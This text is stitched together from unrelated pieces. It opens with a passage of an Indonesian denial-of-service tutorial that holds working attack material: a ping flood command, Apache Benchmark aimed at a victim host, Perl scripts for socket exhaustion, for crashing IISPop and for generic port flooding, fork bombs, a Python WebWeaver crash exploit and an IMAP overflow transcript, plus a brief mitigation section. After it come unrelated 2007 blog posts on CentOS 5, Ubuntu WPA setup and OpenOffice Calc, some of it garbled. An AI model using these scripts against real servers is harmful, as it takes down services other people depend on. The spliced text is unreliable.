       jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of
       Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
       melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell
       yang berupa ./nama_program argv argc ...
 

 .o0 Denial of Sevice, serangan yang menghabiskan resource.

 Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
 yang besar, sehingga komputer/mesin yang diserang   kehabisan  resource dan
 manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
  
  A. Swap Space
  B. Bandwidth
  C. Kernel Tables
  D. RAM
  E. Disk
  F. Caches
  G. INETD

 A. Swap Space
 
 Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
 client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
 spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa   serangan
 Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

 B. Bandwidth

 Beberapa serangan Denial of Service menghabiskan bandwidth.

 C. Kernel Tables

 Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
 memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
 memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
 bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

 D. RAM

 Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
 mau harus di re-boot.

 E. Disk

 Serangan klasik banyak dilakukan dengan memenuhi Disk.

 F. Caches

 G. INETD

 Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
 bekerja.


 .o0 Teknik Melakukan Denial of Service

 Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
 dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
 adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
 tidak begitu menarik.
 Kita akan bahas tipe-tipe serangan DoS.
 
  1. SYN-Flooding
     SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
     pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
     lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
     Service dengan mencegahmenolak cracker untuk mengakses sistem. 
  2. Pentium 'FOOF' Bug
     Merupakan serangan Denial of Service terhadap prosessor Pentium yang  
     menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
     sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
     yang digunakan yaitu pentium.  
  3. Ping Flooding
     Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
     dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
     mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
     Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
     Varian dari serangan ini disebut "smurfing"
     (http://www.quadrunner.com/~chuegen/smurf.txt). 

 Serangan menggunakan exploits.

  Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
   A. Serangan membutuhkan Shell Linux (Unix/Comp)
   B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
      fungsi search agar lebih mudah)
   C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

  1. KOD (Kiss of Death)
     Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
     Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah  
     membuat hang/blue screen of death pada komputer korban.
     Cara penggunaan:
     A. Dapatkan file kod.c
     B. Compile dengan Gcc: $ gcc -o kod kod.c
     C. Gunakan: $ kod [ip_korban] -p [port] -t [hits] 
     Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
     kepada jenis sistem operasi dan konfigurasi server target (misalmya:
      blocking)
  2. BONK/BOINK
     Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
     bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
  3. Jolt
     Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
     yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet  
     yang tinggi sekali kepada korban.
  4. NesTea
     Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
     versi awal. Versi improve dari NesTea dikenal dengan NesTea2
  5. NewTear
     Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk  
     (bonk.c)
  6. Syndrop
     Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target  
     serangan adalah Linux dan Windows
  7. TearDrop
     TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
     ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
     yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini  
     adalah Blue Screen of Death

 Serangan langsung (+ 31337)

  1. Ping Flood
     Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
     sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
     bash # ping -fs 65000 [ip_target]
  2. Apache Benchmark
     Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)  
     suatu web server, namun tidak tertutup kemungkinan untuk melakukan   
     penyalahgunaan.
     bash $ /usr/sbin/ab -n 10000 -c 300 \
     http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
     (diketik dalam 1 baris!)
     Akan melakukan 10000 request paralel 300 kepada host korban.com
  3. Menggantung Socket
     Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal  
     oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak  
     koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.  
     Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1  
     request simultan dengan koneksi terpisah-pisah.

     Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan  
      menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).  
     Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
     batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
     akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,   
    seolah-olah server korban tewas.

 Script gs.pl (gantung socket)     

 #!/usr/bin/perl
 #
 # Nama Script  : gs.pl
 # Tipe         : Denial of Service (DoS)
 # Auth         : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
 # URL          : www.echo.or.id
 #
 use IO::Socket;
 if (!$ARGV[1]) {
  print "Gunakan: perl gs.pl [host] [port] \n";
  exit;
 }
 for (1..1300) {
  $fh{$_}=new IO::Socket::INET
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "$ARGV[1]",
   Proto => "tcp"
 or die; print "$_\n"
 }
 # END. 27 Oktober 2003
 # Lakukan dari beberapa LoginShell (komputer) !

  DoS-ing Apache lagi !!

   Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

 1. Fork Bomb, habiskan RAM
 
 #!/usr/bin/perl
 fork while 1;
 
 2. Habiskan CPU
 
 #!/usr/bin/perl 
 for (1..100) { fork or last }
 1 while ++$i

 3. Habiskan Memory

 #!/usr/bin/perl
 for (1..20) { fork or last }
 while(++$i) { fh{$i} = "X" x 0xff; }

  4. Serangan Input Flooding
     Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote  
     Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat  
     terjadi secara remote jika demon (server) tidak melakukan verifikasi input  
     sehingga input membanjiri buffer dan menyebabkan program dihentikan secara  
     paksa. 
   
     Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini. 

 1. Serangan kepada IISPop EMAIL Server.
    Sofie   : Email server
    Vendor  : http://www.curtiscomp.com/
    TIPE    : Remote DoS
   
    IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes,  
  versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
 
 Script: iispdos.pl
 
 #!/usr/bin/perl -w
 #
 # $0_            : iispdos.pl
 # Tipe serangan  : Denial of service
 # Target         : IISPop MAIL SERVER V. 1.161 & 1.181
 # Auth           : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
 # URL            : www.echo.or.id
 #
 use IO::Socket;
 if (!$ARGV[0]) {
  print "Gunakan: perl iispdos.pl [host] \n";
  exit;
 }
 # Data 289999 bytes
 $buff = "A" x 289999;
 
 print "Connecting ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr=> "$ARGV[0]",
     PeerPort=> "110",
     Proto=> "tcp") or die;
     print "Error: $_\n";
 print "Connect !!\n";
 print $connect "$buff\n";
 close $connect;
 print "Done \n";
 print "POST TESTING setelah serangan \n";
 print "TEST ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr => "$ARGV[0]",
     PeerPort => "110",
     Proto => "tcp") or die;
     print "Done !!, $ARGV[0] TEWAS !! \n";

 print "Gagal !! \n";
 close $connect;
 # END.

 2. Membunuh wzdftpd.
    Sofie   : wzdftpd
          Vendor  : http://www.wzdftpd.net
   
 Proof of Concept:
 
 % telnet 127.0.0.1 21
       Trying 127.0.0.1...
 Connected to localhost.novel.ru.
 Escape character is '^]'.
 220 wzd server ready.
 USER guest
 331 User guest okay, need password.
 PASS any
 230 User logged in, proceed.
 PORT
 Connection closed by foreign host.
 % telnet 127.0.0.1 21
 Trying 127.0.0.1...
 telnet: connect to address 127.0.0.1: Connection refused
 telnet: Unable to connect to remote host

 wzdftpd crash setelah diberikan perintah/command PORT !

 3. Serangan 32700 karakter, DoS BRS WebWeaver.
    Sofie : BRS WebWeaver V. 1.04
    Vendor : www.brswebweaver.com
    BugTraqer : euronymous /F0KP

 }------- start of fadvWWhtdos.py ---------------{

 #! /usr/bin/env python
 ## #!/usr/bin/python (Py Shebang, MOBY)
 ###
 # WebWeaver 1.04 Http Server DoS exploit
 # by euronymous /f0kp [http://f0kp.iplus.ru]
 ########
 # Usage: ./fadvWWhtdos.py
 ########

 import sys
 import httplib

 met = raw_input("""
 What kind request you want make to crash webweaver?? [ HEAD/POST ]:
 """)
 target = raw_input("Type your target hostname [ w/o http:// ]: ")
 spl = "f0kp"*0x1FEF
 conn = httplib.HTTPConnection(target)
 conn.request(met, "/"+spl)
 r1 = conn.getresponse()
 print r1.status

 }--------- end of fadvWWhtdos.py ---------------{

 Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

 4. Buffer Overflow pada MailMAX 5
    Sofie     : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
    Vendor    : http://www.smartmax.com
    BugTraqer : matrix at 0x36.org

 Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
 SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara
 manual.

 Contoh eksploitasi:
                       --------[ transcript ]-------
 nc infowarfare.dk 143
 * OK IMAP4rev1 SmartMax IMAPMax 5 Ready
 0000 CAPABILITY
 * CAPABILITY IMAP4rev1
 0000 OK CAPABILITY completed
 0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
 0001 OK User authenticated.
 0002 SELECT "aaa...[256]...aaaa"
                            --------[ transcript ]-------
   
 Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool
 ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'

 
 Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja -
 membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada
 komputer esekutor yang memiliki bandwidth lebar.
 
 Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
 A. Connect ke korban (host, port).
 B. Kirimkan paket data dalam jumlah besar.
 C. Putuskan koneksi > selesai.

 Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS.
 Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port ( 
       port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

 -- udos.pl --
     
 #!/usr/bin/perl
 #
 # $0   : udos.pl
 # Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
 # URL  : www.echo.or.id
 #
 use IO::Socket;
 #
 if (!$ARGV[2]) {
  print "Gunakan % perl udos.pl [host] [port] [data] \n";
  print "Contoh :\n";
  print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
  exit;
 }
 # Siapkan data
 $buffer = "A" x $ARGV[2];
 # Connect -> Korban
 print "Connecting ... -> $ARGV[0] \n";
 $con = new IO::Socket::INET ( 
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "$ARGV[1]",
   Proto=> "tcp") or die;
   print "Error: $_ \n";
 # Connect !
 print "Connect !! \n";
 print $con "$buffer\n";
 close $con;
 print "Done. \n";
 print "POST TESTING setelah serangan \n";
 print "TEST ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr => "$ARGV[0]",
     PeerPort => "$ARGV[1]",
     Proto => "tcp") or die;
     print "Done !!, $ARGV[0] TEWAS !! \n";

 print "Gagal !! \n";
 close $connect;
 # End.

 -- udos.pl --

 Skrip sederhana diatas hanya melakukan hubungan dengan server korban,
 lalu mengirimkan flood dan melakukan post testing. Dengan sedikit
 pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force
 Flooder', tergantung pada kreatifitas anda !  


 .o0 Penanggulangan serangan Denial of Service

 Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana
 mudahnya menggunaka sploits/tool   untuk membekukan   Ms Windows, atau
 bagaimana mudahnya melakukan input flooding dan membuat tool   sendiri.
 Namun Denial of service adalah masalah layanan publik.Sama halnya dengan
 anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai
 sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
 'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
 kekanak-kanakan demikian tentu tidak anda harapkan.

 1. Selalu Up 2 Date.
 Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
 Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
 untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option
 untuk menolak cracker untuk mengakses system.

 2. Ikuti perkembangan security
 Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal.
 Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
 security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet'
 dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak -
 tidak tertutup kemungkinan untuk melakukan Denial of Service -.
 Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung
 dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
  atau melakukan up-date.

 3. Teknik pengamanan httpd Apache.
 + Pencegahan serangan Apache Benchmark.
 Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
 identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
 firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ).
 Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang
 admin harus teliti.
 Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
 jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'.
 Jangan lupa juga menambah RAM.

 4. Pencegahan serangan non elektronik.
 Serangan yang paling efektif pada dasarnya adalah local. Selain efektif
 juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman,
 atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa
 menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan
 dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
 admin dan user bersangkutan. 


 .o0 Penututp.

 Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik
 intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan
 pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh
 seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'.
 Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum,
 betapa indahnya semesta ini.
 Terima kasih untuk anda semua telah membaca artikel ini - bahkan sampai
 baris ini :) -. Terima kasih untuk rekan-rekan echo-staff atas support
 selama ini. Untuk semua Computer Security Industries Indonesia, teruslah
 berjuang Amigo !! Computer Underground, hey nak, sudah saatnya belajar
 dan berhenti bermain. Semua teman-teman online TERIMA KASIH !!
 Shout buat Willy, Al, Dudunk - semua pengunjung 'rumah mesum' :P
 (cuma istilah/jargon) - Thanks buat Rizka, maaf atas 'pesan-pesan filosofi
 gelap', kamu tahu pemilik nomor 08157190*** !. "Ka .. tidak baik marah
 kepada seseorang yang datang dengan kasih sayang :)"

 "KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
  'TEMPAT YANG PALING AMAN ADALAH PETI MATI'
 TAPI TERNYATA AKU SALAH !!"
      [MOBY]


Bacaan lanjutan / referensi:
 
 [1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
     R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
     Elexmedia Komputindo, ISBN: 979-20-3249-5
 [2] 7 Cara Isengi Apache dan kiat mengatasinya.
     Steven Haryanto, Masterweb Magazine Oktober 2001
 [3] Introduction to Denial of Service
     Hans Husman, t95hhu@student.tdb.uu.se
 [4] CERT ADVISORIES.
     www.cert.org
 [5] Packet Storm Security
     http://packetstormsecurity.nl
 [6] BugTraq
     www.securityfocus.com

CentOS 5 is a solid enterprise OS (Distribution Reviews)

2007-04-23T16:48:00.000-07:00

Last week, two years since its last major release, the CentOS project released version 5 of its enterprise-focused Linux distribution. I downloaded it and put it to the test, and found that CentOS 5 has maintained its tradition of robustness and reliability while adding new features like virtualization.

The latest CentOS (Community ENTerprise Operating System) distribution is built from the freely available (under the GPL and similar licenses) sources for Red Hat Enterprise Linux 5. The initial platforms supported are x86 (i586 and i686) and x86_64 (AMD64 and Intel EMT64) with planned support for IA64 and others soon.

The key advantages of CentOS over other server-type distributions, apart from its free nature (as in both speech and beer), is its rock-solid reliability and the long lifecycle of the product. The CentOS project expects to supply maintenance updates for Centos 3 until 2010 and for CentOS 4 until 2012. Projecting this forward, maintenance for CentOS 5 should be active until at least 2014.

CentOS 5 comes as a 6-CD set (a 7-CD for the 64-bit version) or as a single-layer DVD. I downloaded the DVD version and used it to boot my server. Installation is straightforward (similar to that of previous versions of CentOS and similar to Fedora Core) and shouldn't be difficult, especially if you are used to installing Linux. The installation process uses a graphical interface with on-screen instructions, but you will need as least 512MB of memory to use it; there is a text installer for those with at least 128MB. If you are installing on a new server and you are happy to have all the disks reformatted, use the "automatically partition" option for the disk partitioning setup, as this will save you lots of time. If you need a more complicated setup with RAID, then you will need to customize the disk partitioning. As my test server is a dual boot machine, I used the customised disk partitioning to install CentOS on a free partition. The installation went without hitch. The installer correctly recognized the presence of the other OS on the machine and configured the bootloader accordingly.

One big difference between Red Hat Enterprise Linux 5 and CentOS 5 is that CentOS 5 includes packages from different RHEL variants, including the server and client varieties. All the Red Hat repositories have been combined into one to make it easier for end users to work with packages.

CentOS 5 comes with all the usual suspects in terms of server and application software. At its heart is Linux kernel 2.6.18 with some enterprise tweaks to support large amounts of memory and data. Also bundled are Apache 2.2.3 (with built-in support for file sizes larger than 2GB on 32-bit hardware platforms), MySQL 5.0.22, and PHP 5.1.6. Other server components include PostgreSQL 8.1.4, Samba 3.0 (for file sharing with Windows machines), and Bind 9.3.3. For messaging there is Postfix 2.3.3 or Sendmail 8.13.8 coupled with the Cyrus 2.3.7 IMAP/POP3 daemon, or alternatively Dovecot 1.0.

For the desktop, CentOS offers GNOME 2.16 and KDE 3.5.4. Also included is OpenOffice.org 2.0.4, Firefox 1.5.0.10 for Web surfing, and Thunderbird 1.5.0.10 for email. CentOS bundles a whole range of other desktop applications, for functions from CD burning to photo and image manipulation. Although bleeding-edge applications aren't included, the older versions reflect the philosophy of CentOS 5, which is to use mature packages with a proven track record rather than rely on newer and sometimes less reliable versions.

Virtualization

One of the biggest changes in CentOS 5 is the inclusion of the Xen virtualization technology. Virtualization allows multiple operating systems (known as guests) to run on a single server at the same time. Essentially it lets you run a virtual PC or server on your host server that shares its CPU and memory. You can choose whether to include the virtualization packages during the installation.

Using Xen, a server can run multiple copies of CentOS 5 on the same hardware. If your CPU supports hardware virtualization (with Intel VT or AMD SVM technologies), then you can also host arbitrary, unmodified guest operating systems, such as Windows.

CentOS 5 supplies two tools for installing and managing guest operating systems: virt-install, a simple command-line program to set up and install a virtual machine, and virt-manager, a graphical program that lets you monitor and manage the virtual machines you have running. It reports details about CPU and memory usage and lets you halt active virtual machines.

One thing to note is that virtual machines can't be installed from a physical DVD; unlike VMware and SUSE Linux Enterprise Server, CentOS supports only network installations, either from the Internet (via HTTP) or via an NFS-mounted DVD, due to lack of support for physical devices in the installation tools. CentOS needs to resolve this to if it wants to lead the pack in terms of Linux virtualization.

The CentOS developers have put a lot of work into making Xen reliable and workable on CentOS 5, but of course Xen isn't the only virtualization technology available for Linux. Virtualization products from VMware and InnoTek, among others, should also work.

Clustering and SELinux

In addition to virtualization, CentOS 5 includes enterprise features for clustering and security. A cluster is a group of connected computers (called nodes or members) that work together to provide a common service, such as file sharing using the GFS file system or for high-availability services.

You can install clustering support when you install the operating system, or at any time afterward by using the system-config-packages program. The clustering packages are grouped together as Clustering and Cluster Storage.

For enhanced security, you can implement SELinux, which is a set of modifications to the standard Linux sources that confine user programs and system servers to the minimum amount of privilege they require to do their jobs. It stops applications from misbehaving and prevents them from increasing their privileges beyond what you allow. This reduces or eliminates the harm a hacker can do to a system.

SELinux was developed primarily by the US National Security Agency (NSA), and was released to the open source development community in 2000. SELinux first appeared in CentOS at version 4.

SELinux has often been more trouble than it is worth, especially if your server was in a secure LAN environment protected by a good firewall. CentOS 5 aims to make using SELinux easier. It includes the SELinux Troubleshooting Tool (setroubleshoot), which is a user-friendly tool for notification and diagnosis of access denials. SELinux normally reports policy violations in the logging system as access vector cache entries. With the SELinux Trouble Shooting Tool, alerts are also generated to the desktop with clearer information about the problem.

Technology previews

CentOS 5 includes several new technologies that the developers don't consider production-ready, but which are included to allow you to preview and plan for their arrival. They include:

Stateless Linux, a system to allow for diskless clients.
GFS2, an updated version of the Global File System.
AIGLX and Compiz, which are updated X11 components with OpenGL enhancements to bring 3-D effects to the desktop.
Systemtap, an infrastructure tool to help developers and system administrators gather information about working systems.

During my test drive, CentOS 5 proved (as did previous versions) to be stable and robust. If you need support, there are many free ways to get it, including IRC, mailing lists, forums, and a good FAQ.

CentOS 5 has many improvements in its latest release. If you are already running CentOS 4 and are looking to upgrade your systems to newer versions of key server services like PHP 5 and MySQL 5, or if you are just looking for a solid general-purpose Linux operating system, CentOS 5 is a good choice. It will be my Linux distribution of choice for servers.

based on Gary Sims

Gary Sims has a degree in Business Information Systems from a British university. He worked for 10 years as a software engineer and is now a freelance Linux writer and consultant.

The ease of WPA in Ubuntu Feisty Fawn

2007-04-23T16:14:00.000-07:00

With the new release of Ubuntu 7.04 (aka Feisty Fawn) the Network Manager has become the standard way of connecting to wireless (and wired) networks in Ubuntu.

While this new way has some drawbacks (connection is only established on login, so time doesn't get synced with the internet on startup) it is a great way for all the Linux roadwarriors to easily connect to all sorts of networks. In this mini-howto I will show you how it is done. I will also show you how to automatically connect after the login without needing to enter your gnome-keyring password.

The Screens

When logging in to your fresh install of Feisty the first thing you will notice is a new icon (the network-manager applet) that says you are not connected to any network:

Since the SSID of my network is hidden, I have to enter it manually. So I left-click the icon and chose Connect to Other Wireless Network.

Now I enter my SSID (Boognish), pick the wireless security I set up in my router (WPA-PSK TKIP) and enter my wireless encryption key.

The connection is not established right away. Since this is a fresh install of Feisty, I don't have a default gnome-keyring, yet. The Gnome Keyring is something like a password vault, which other Gnome applications can use. It can also store password for things like FTP servers or SSH sessions. If you don't have a default keyring, yet, Gnome will automatically create one and ask you to enter a master password. So next time you want to connect to a known WiFi network (or an FTP server) you will only be asked your master password. As your master password I would chose the same as your login password (more on that later).

After you hit OK, your wireless connection will be established.

The Magic

Now everytime you start your computer and log in, you will have to enter the master password for your Gnome Keyring and you will be connected to your WiFi network. For me, personally, it is a little bit annoying to enter my login password, and right after that enter it again to connect to the wireless. So what I do is, on login I hand over the login password to the gnome-keyring. That means the gnome-keyring is open on login and the network-manager can use it right away and won't ask you for a password (Note: In an environment where security is important you don't want this behavior). As it is your login password that is passed on, your gnome-keyring password has to be identical to it (as mentioned above). If you created your keyring with a different password see below.

To accomplish this we have to install a package and modify a file. Lets open the Terminal to do it (Applications -> Accessories -> Terminal).

# to install libpam-keyring enter
user@host:~$ sudo apt-get install libpam-keyring
# and to modify the gdm login file do
user@host:~$ sudo gedit /etc/pam.d/gdm

Now the texteditor gedit will open with a file. To the end of the file append the following three lines:

# use session pw for gnome-keyring
auth optional pam_keyring.so try_first_pass
session optional pam_keyring.so

Now save it and close gedit. That is it. You will never be asked the keyring password again.

The Troubleshooting

If your Network Manager doesn't show anything, chances are good your WiFi interface is not managed by it. In System -> Administration -> Network you have to enable the Roaming Mode for you wireless interface to allow it to be managed by the Network Manager. Reboot. If it still doesn't work open and modify the file /etc/network/interfaces (with sudo gedit like above) and comment-out all lines except two, so that it looks kind-of like this:
```
auto lo
iface lo inet loopback
#auto eth0
#iface eth0 inet dhcp
#auto ath0
#iface ath0 inet dhcp
```
If it still doesn't work your wireless interface is probably not supported out-of-the-box and you will have to install the drivers yourself.
If you created your gnome-keyring with a password different from your login password you cannot change it (the idiots forgot to implement this feature). You will have to delete it alltogether.
```
rm $HOME/.gnome2/keyrings/default.keyring
```
If you want to remove the password stored for a network you can go to System -> Administration -> Keyring Manager
BTW: The network-manager saves its profiles here: $HOME/.gconf/system/networking

The Bottom Line

On my stationary desktops I deactivated the Network Manager in favour of the traditional ifup/ifdown mechanism because I want my network to be up at boot-time. But for laptops this is really a nice thing and in the future I think we can expect the Network Manager to work seamlessly with ifup/ifdown. So lets see what the next Ubuntu release will bring.

based on Mathias blog

OpenOffice.org Calc functions, part 2: Working with formulas

2007-04-22T16:39:00.000-07:00

By Bruce Byfield on Mon, 2007-04-16 14:33.

A formula is a spreadsheet function entered in a cell, complete with its arguments. They're one of the two or three major applications that first spearheaded the acceptance of the personal computer in the 1980s, and the main tools of advanced spreadsheet use.

In part 1 of this article, I gave an overview of functions and what they do. Now, in part 2, I'll continue by explaining how you enter formulas (or formulae, if you prefer), and how you can check and review them afterwards.

Entering Formulas

You can enter function formulas in several ways.

The quickest way to enter a function formula is to start typing, either in the cell itself, or at the input line. If you are typing in the cell, as soon as you type an operator, such as an equal sign or less than sign ( Options -> OpenOffice.org Calc -> View -> Display. Unselect the check box beside it, and the result will display. However, you can still see the formula in the formula bar field.

Reviewing the Contents and Results of Formulas

Even with all the tools available in Calc to help you to enter formulas, making mistakes is easy. Many typists find inputting numbers difficult, and many users may make a mistake about the kind of entry that a function's argument needs. At times, too, you may want to find the cells used in a formula to change their values or to check the answer. For these reasons, Calc provides three tools for investigating formulas and the cells that they reference.

The most basic tool is error messages. Error messages display in a formula's cell or -- even more conveniently -- in the Function Autopilot instead of the result. An error message for a formula is usually a three-digit number from 501 to 527, or sometimes an unhelpful piece of text such as NAME?, REF, or VALUE. The error number appears in the cell, and a brief explanation of the error on the right side of the status bar. Most error messages indicate a problem with how the formula was input, although several indicate that you have run up against a limitation of either Calc or its current settings.

Error messages are not user-friendly, and may intimidate new users. All the same, they are valuable clues to correcting mistakes. You can find detailed explanations of them by opening OpenOffice.org help and searching for "Error codes in OpenOffice.org Calc." A few of the most common are:

NAME? (525): No valid reference exists for the argument.
REF (525): The column, row, or sheet for the referenced cell is missing.
VALUE (519): The value for one of the arguments is not the type that the argument requires. The value may be entered incorrectly; for example, double-quotation marks may be missing around the value. At other times, a cell or range used may have the wrong format, such as text instead of numbers.
509: An operator such as an equals sign is missing from the formula.
510: An argument is missing from the formula.
502: The column, row, or sheet for the referenced cell is missing.

Another useful tool when reviewing a formula is the color coding for for input. When you select a formula that has already been run, the cells or ranges used for each argument in the formula are outlined in color. Calc uses eight colors for outlining referenced cells, starting with blue for the first cell, and continuing with red, magenta, green, dark blue, brown, purple and yellow before cycling through the sequence again.

However, in a long or complicated spreadsheet, color coding becomes less useful. In these cases, consider using Tools -> Detective's sub-menu. The Detective is a tool for checking which cells are used as arguments by a formula (precedents) and which other formulas it is nested in (dependents), and tracking errors. It can also be used for tracing errors, marking invalid data (that is, information in cells that is not in the proper format for a function's argument), or even for removing precents and dependents.

To use the Detective, selective a cell with a formula, then start the Detective. On the spreadsheet, you will see lines ending in circles to indicate precedents, and lines ending in arrows for dependents. If you like, think of the spreadsheet detective as Calc's equivalent of the lines that show connections between text frames in Writer. In both cases, the lines show the flow of information.

Conclusion

At this point, you should have a general sense of what functions do, and how to work with them. However, this is only an introduction to functions. There are additional tools for automating your use of functions and formulas, as well as the intricacies of function arguments, many of which require specialized knowledge to use effectively. In future articles, I plan to touch on both these subjects.

Bruce Byfield is a computer journalist who writes regularly for the Linux.com and Linux Journal web sites.

OpenOffice.org Calc functions, part 1: Understanding functions

2007-04-22T16:38:00.000-07:00

By Bruce Byfield on Fri, 2007-03-30 18:22.

A function is a pre-defined calculation entered in a cell to help you analyze or manipulate data in a spreadsheet. All you have to do is add the arguments, and the calculation is automatically made for you. Beginners might be content to use Calc for lists, but, for advanced users, functions are the main reason for spreadsheets. If you understand functions, then you can start to use the real power of a spreadsheet.

In Part 1 of this article, I'll give a brief overview of functions and how they operate. Then, in Part 2, I'll talk about how to work with them, and give some examples of what they can do.

Understanding functions

